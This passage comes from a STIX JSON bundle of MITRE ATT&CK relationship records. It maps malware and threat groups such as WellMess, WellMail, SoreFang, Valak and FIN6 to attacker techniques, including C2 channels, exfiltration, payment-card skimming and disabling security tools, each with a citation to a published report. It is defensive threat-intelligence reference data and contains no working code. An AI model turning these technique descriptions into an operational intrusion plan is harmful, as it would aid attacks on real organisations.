            "relationship_type": "uses",
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            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) has used several C2 servers per targeted organization.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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            "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can list running processes on the localhost.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
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            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
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                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "[FatDuke](https://attack.mitre.org/software/S0512) can enumerate directories on target machines.(Citation: ESET Dukes October 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-10-09T16:08:00.692Z",
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        {
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            "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                },
                {
                    "source_name": "Cybereason Valak May 2020",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) has downloaded a variety of modules and payloads to the compromised host, including [IcedID](https://attack.mitre.org/software/S0483) and NetSupport Manager RAT-based malware.(Citation: Unit 42 Valak July 2020)(Citation: Cybereason Valak May 2020)",
            "relationship_type": "uses",
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        },
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            ],
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                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can execute JavaScript containing configuration data for establishing persistence.(Citation: Cybereason Valak May 2020)",
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                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can use the Registry for code updates and to collect credentials.(Citation: Unit 42 Valak July 2020)",
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                {
                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can communicate over multiple C2 hosts.(Citation: Unit 42 Valak July 2020)",
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                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can download additional modules and malware capable of using separate C2 channels.(Citation: Unit 42 Valak July 2020)",
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                {
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                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                }
            ],
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                {
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                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
                    "source_name": "CISA WellMess July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b",
                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                }
            ],
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                {
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                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
                    "source_name": "CISA WellMess July 2020",
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                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                }
            ],
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                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
                    "source_name": "CISA WellMess July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b",
                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                }
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                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
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                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                }
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            "description": "[WellMess](https://attack.mitre.org/software/S0514) can identify the IP address and user domain on the target machine.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)",
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                {
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                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
                    "source_name": "PWC WellMess C2 August 2020",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html",
                    "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."
                },
                {
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                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b",
                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                }
            ],
            "description": "[WellMess](https://attack.mitre.org/software/S0514) can encrypt HTTP POST data using RC6 and a dynamically generated AES key encrypted with a hard coded RSA public key.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)",
            "relationship_type": "uses",
            "id": "relationship--90ca7f0e-f0fd-47d5-9d40-8ae6d77c0897",
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                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
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                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                }
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            "description": "[WellMess](https://attack.mitre.org/software/S0514) has the ability to use DNS tunneling for C2 communications.(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)",
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                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
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                    "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."
                },
                {
                    "source_name": "CISA WellMess July 2020",
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                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                },
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                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMess](https://attack.mitre.org/software/S0514) can use HTTP and HTTPS in C2 communications.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)(Citation: NCSC APT29 July 2020)",
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                {
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                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
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            "description": "[WellMess](https://attack.mitre.org/software/S0514) can identify the computer name of a compromised host.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)",
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                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
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                {
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                    "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."
                },
                {
                    "source_name": "CISA WellMess July 2020",
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                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
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                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                }
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            "description": "[WellMess](https://attack.mitre.org/software/S0514) can communicate to C2 with mutual TLS where client and server mutually check certificates.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)(Citation: NCSC APT29 July 2020)",
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                {
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                    "source_name": "CISA WellMess July 2020",
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                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                }
            ],
            "description": "[WellMess](https://attack.mitre.org/software/S0514) can decode and decrypt data received from C2.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)",
            "relationship_type": "uses",
            "id": "relationship--c958d98c-d3d9-40cf-9702-5d9cb2cdf719",
            "type": "relationship",
            "modified": "2020-09-29T17:39:46.451Z",
            "created": "2020-09-29T16:08:22.643Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "target_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4",
            "external_references": [
                {
                    "source_name": "PWC WellMess July 2020",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html",
                    "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."
                },
                {
                    "source_name": "PWC WellMess C2 August 2020",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html",
                    "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."
                },
                {
                    "source_name": "CISA WellMess July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b",
                    "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."
                },
                {
                    "source_name": "NCSC APT29 July 2020",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                }
            ],
            "description": "(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)(Citation: NCSC APT29 July 2020)",
            "relationship_type": "uses",
            "id": "relationship--f72527b3-98cb-4df6-9c52-9faef40206a0",
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        },
        {
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            ],
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            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
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                    "source_name": "NCSC APT29 July 2020",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
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            "relationship_type": "uses",
            "id": "relationship--bf0ff6f3-51a5-4718-af3f-8f75b1eb507c",
            "type": "relationship",
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        },
        {
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            "target_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a",
            "external_references": [
                {
                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                },
                {
                    "source_name": "NCSC APT29 July 2020",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                }
            ],
            "description": "(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)",
            "relationship_type": "uses",
            "id": "relationship--0465916e-9561-4518-b2fa-09be21bc04e1",
            "type": "relationship",
            "modified": "2020-09-29T18:41:32.760Z",
            "created": "2020-09-29T18:40:02.430Z"
        },
        {
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            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                },
                {
                    "source_name": "NCSC APT29 July 2020",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS.(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)",
            "relationship_type": "uses",
            "id": "relationship--ea8e9109-739f-485c-8d13-fb5ed6b2fdcd",
            "type": "relationship",
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        },
        {
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            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can exfiltrate files from the victim machine.(Citation: CISA WellMail July 2020)",
            "relationship_type": "uses",
            "id": "relationship--ecb7a35e-cc83-4b7d-9eb6-42d0bd7d5d9e",
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        {
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                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can archive files on the compromised host.(Citation: CISA WellMail July 2020)",
            "relationship_type": "uses",
            "id": "relationship--423b6f97-96c5-47f3-aa9f-f27bf5cd1ba0",
            "type": "relationship",
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                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can decompress scripts received from C2.(Citation: CISA WellMail July 2020)",
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                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can receive data and executable scripts from C2.(Citation: CISA WellMail July 2020)",
            "relationship_type": "uses",
            "id": "relationship--05dc9f8c-a1ea-4cdf-ae86-e98af40d5bd7",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can identify the current username on the victim system.(Citation: CISA WellMail July 2020)",
            "relationship_type": "uses",
            "id": "relationship--731c3fa1-2af3-4b6e-ad0d-7942e8e966fb",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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                {
                    "source_name": "CISA WellMail July 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can identify the IP address of the victim system.(Citation: CISA WellMail July 2020)",
            "relationship_type": "uses",
            "id": "relationship--818d3d9c-0734-4e05-9ce2-1cf7c2edb5d5",
            "type": "relationship",
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        },
        {
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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                    "source_name": "CISA SoreFang July 2016",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a",
                    "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."
                }
            ],
            "description": "[SoreFang](https://attack.mitre.org/software/S0516) can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via <code>ipconfig.exe /all</code>.(Citation: CISA SoreFang July 2016)",
            "relationship_type": "uses",
            "id": "relationship--9c24c5c3-0aa3-4caa-b983-9739eb8c57eb",
            "type": "relationship",
            "modified": "2020-09-30T14:13:38.350Z",
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        },
        {
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            ],
            "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
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                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a",
                    "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."
                }
            ],
            "description": "[SoreFang](https://attack.mitre.org/software/S0516) can collect the hostname, operating system configuration, product ID, and disk space on victim machines by executing [Systeminfo](https://attack.mitre.org/software/S0096).(Citation: CISA SoreFang July 2016)",
            "relationship_type": "uses",
            "id": "relationship--75e01f6a-9f45-4db2-a79d-a21453b6d83f",
            "type": "relationship",
            "modified": "2020-09-30T14:13:38.333Z",
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            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
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                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a",
                    "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."
                }
            ],
            "description": "[SoreFang](https://attack.mitre.org/software/S0516) can gain access by exploiting a Sangfor SSL VPN vulnerability that allows for the placement and delivery of malicious update binaries.(Citation: CISA SoreFang July 2016)",
            "relationship_type": "uses",
            "id": "relationship--61ee8aa7-89fc-4414-97f3-95fa9f1f26ad",
            "type": "relationship",
            "modified": "2020-09-30T14:13:38.379Z",
            "created": "2020-09-30T13:48:26.377Z"
        },
        {
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            "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "CISA SoreFang July 2016",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a",
                    "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."
                }
            ],
            "description": "[SoreFang](https://attack.mitre.org/software/S0516) has the ability to list directories.(Citation: CISA SoreFang July 2016)",
            "relationship_type": "uses",
            "id": "relationship--3dd2f874-57e3-4670-9c0a-7d8c35741bb6",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "CISA SoreFang July 2016",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a",
                    "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."
                }
            ],
            "description": "[SoreFang](https://attack.mitre.org/software/S0516) can enumerate processes on a victim machine through use of [Tasklist](https://attack.mitre.org/software/S0057).(Citation: CISA SoreFang July 2016)",
            "relationship_type": "uses",
            "id": "relationship--1ed17f60-d6ca-4ef7-ae52-7a573c2a7ff3",
            "type": "relationship",
            "modified": "2020-09-30T14:13:38.320Z",
            "created": "2020-09-30T14:13:38.320Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "external_references": [
                {
                    "source_name": "CISA SoreFang July 2016",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a",
                    "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."
                }
            ],
            "description": "[SoreFang](https://attack.mitre.org/software/S0516) can enumerate domain groups by executing <code>net.exe group /domain</code>.(Citation: CISA SoreFang July 2016)",
            "relationship_type": "uses",
            "id": "relationship--98737ffe-6b7b-4c2d-a775-7a93e304a9c7",
            "type": "relationship",
            "modified": "2020-10-06T16:10:42.699Z",
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        },
        {
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            "external_references": [
                {
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                }
            ],
            "description": "[WellMess](https://attack.mitre.org/software/S0514) can use junk data in the Base64 string for additional obfuscation.(Citation: CISA WellMess July 2020)",
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                }
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                }
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            "description": "[WellMess](https://attack.mitre.org/software/S0514) can identify domain group membership for the current user.(Citation: CISA WellMess July 2020)",
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            "description": "[WellMess](https://attack.mitre.org/software/S0514) can collect the username on the victim machine to send to C2.(Citation: CISA WellMess July 2020)",
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                },
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                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                }
            ],
            "description": "[WellMail](https://attack.mitre.org/software/S0515) has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)",
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                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
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                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/",
                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."
                }
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                }
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                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."
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                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/",
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                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/",
                    "source_name": "Trend Micro njRAT 2018"
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) has used HTTP for C2 communications.(Citation: Trend Micro njRAT 2018)",
            "relationship_type": "uses",
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                {
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
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            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used encoded PowerShell commands.(Citation: Visa FIN6 Feb 2019)",
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            "type": "relationship",
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                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has removed files from victim machines.(Citation: FireEye FIN6 April 2016)",
            "relationship_type": "uses",
            "id": "relationship--56682d47-48ad-4a8c-9f55-124f7cb90e5b",
            "type": "relationship",
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            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "description": "[FrameworkPOS](https://attack.mitre.org/software/S0503) can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\\Windows\\.(Citation: FireEye FIN6 April 2016)",
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            "id": "relationship--935d1918-a1ea-4c46-b3b0-5c1d0f44a346",
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            "external_references": [
                {
                    "source_name": "Trend Micro FIN6 October 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html",
                    "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used malicious JavaScript to steal payment card data from e-commerce sites.(Citation: Trend Micro FIN6 October 2019)",
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            "type": "relationship",
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                    "source_name": "Trend Micro FIN6 October 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html",
                    "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has sent stolen payment card data to remote servers via HTTP POSTs.(Citation: Trend Micro FIN6 October 2019)",
            "relationship_type": "uses",
            "id": "relationship--b9349020-d0b1-4d48-94f1-74a4f3c79185",
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            "target_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
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                {
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
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            ],
            "description": "(Citation: Visa FIN6 Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--01c46868-c510-4df1-93fe-31d1fa9eb62e",
            "type": "relationship",
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            "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
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                {
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has collected schemas and user accounts from systems running SQL Server.(Citation: Visa FIN6 Feb 2019)",
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            "id": "relationship--23749a96-a086-4e14-b6c1-44bc9c7d99c1",
            "type": "relationship",
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            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "external_references": [
                {
                    "source_name": "Trend Micro FIN6 October 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html",
                    "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit Bind and Reverse TCP stagers.(Citation: Trend Micro FIN6 October 2019)",
            "relationship_type": "uses",
            "id": "relationship--d6cb7440-c39c-4bc2-b30e-5264a7f8753c",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used <code>kill.bat</code> script to disable security tools.(Citation: FireEye FIN6 Apr 2019)",
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            "id": "relationship--51fa2148-9dba-4479-95d7-8d940511e10e",
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            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
